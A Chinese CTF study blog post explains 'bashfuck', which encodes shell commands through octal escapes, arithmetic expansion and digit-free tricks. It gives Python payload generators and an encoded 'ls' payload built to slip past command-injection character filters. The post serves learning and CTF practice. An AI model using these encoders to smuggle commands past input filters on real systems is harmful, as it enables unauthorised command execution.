本来是在CTF刷刷题目,然后有个知识点不太明白所以就去找着了lazy师傅问了一下,结果发了一个bashfuck的知识点过来(x,本来一个简单的绕过却有了新的思路,索性来记录一下。
#注意:因为debian、Ubuntu系统的sh软连接是到dash的,centos的sh软链接连接到bash,但是kali的zsh不是很兼容dash所以IFS就解析不了,还是直接用空格代替即可
这个就是最常规的可以用十六进制,或者八进制来执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
sum_data = ''
str1 = input("请输入要转化的命令:")
str1 = str1.strip() # 去除首尾空格
data_len = len(str1) # 判断总长度来循环
for i in range(data_len):
data = ord(str1[i])
if data == ord(' '): # 检查空格字符
sum_data += "'$IFS$'"
else:
data_8 = oct(data)[2:]
final_data = '\\' + data_8
sum_data += final_data
print("common_oct")
print("$'" + sum_data + "'")
|
出来直接使用即可,在kali里面的ifs直接用空格代替即可
example:
运用到的原理就是算术拓展$(())
,这个的返回值为0,并且可以有这种用法$((1<<1)#2binary)
来构造出一些命令
还是拿ls来举例子,如果不去利用二进制来构造可以这么写
1
|
"$"''\''\'$(($((1))54))'\'$(($((1))63))\'
|
构造出来就是common_oct的写法
然后这里也可以使用二进制来构造
1
|
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
|
因为相对于前面的你构造出54啊或者是其他数字比较麻烦,而在探姬师傅的wiki下面说明了几种可以表示0和1的方法,所以用01来代替能利用py快速的得出结果并且可以实现无数字来打
一些对应:
1
2
3
4
5
6
7
8
9
10
11
12
|
>echo ${#}
>0
>echo ${##}
>1
>echo ${#_}
>1
>echo ${_}
>1
>echo ${?}
>0
>echo ${?#}
>1
|
等等都可以用来构造
下面附上相关函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def bashfuck_x(cmd, form):
bash_str = ''
for c in cmd:
bash_str += f'\\\\$(($((1<<1))#{bin(int(get_oct(c)))[2:]}))'
payload_bit = bash_str
payload_zero = bash_str.replace('1', '${##}') # 用 ${##} 来替换 1
payload_c = bash_str.replace('1', '${##}').replace('0', '${#}') # 用 ${#} 来替换 0
if form == 'bit':
payload_bit = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_bit + '\\\''
return info(payload_bit)
elif form == 'zero':
payload_zero = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_zero + '\\\''
return info(payload_zero)
elif form == 'c':
payload_c = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payload_c + '\\\''
return info(payload_c)
|
然后这里需要解决一个问题,你会发现你直接执行命令是没办法执行的,这里探姬师傅也是给出了相关的连接
https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html
总的来说就是扩展顺序,我们在八进制转义的时候已经扩展了一次,所以后面不会再次解析
所以这里就用标准输出来完成解析
所以最后的playload的前面要加上:$0<<<
$0
可以表示当前脚本的文件名,在终端中,$0
其实就是bash本身。
这里和上面的都差不多只是对-1的取反进行了利用
1
2
3
4
5
6
7
8
9
10
|
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
|
这样就可以使用$(())
去构造$'\xxx\xxx\xxx\xxx'
再引入我们前面提到的,变量赋值,我们就可以轻松的用$(())
拿到sh
1
2
3
4
5
|
bashFuck = ''
bashFuck += '__=$(())' # set __ to 0
bashFuck += '&&' # splicing
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'' # got 'sh'
# bashFuck = __=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'
|
得到我们第四种playload:
1
2
3
4
5
|
Command:ls
Charset : ! $ & ' ( ) < = \ _ { } ~
Total Used: 13
Total length = 393
Payload = __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
|
参考文章:
https://github.com/ProbiusOfficial/bashFuck?tab=readme-ov-file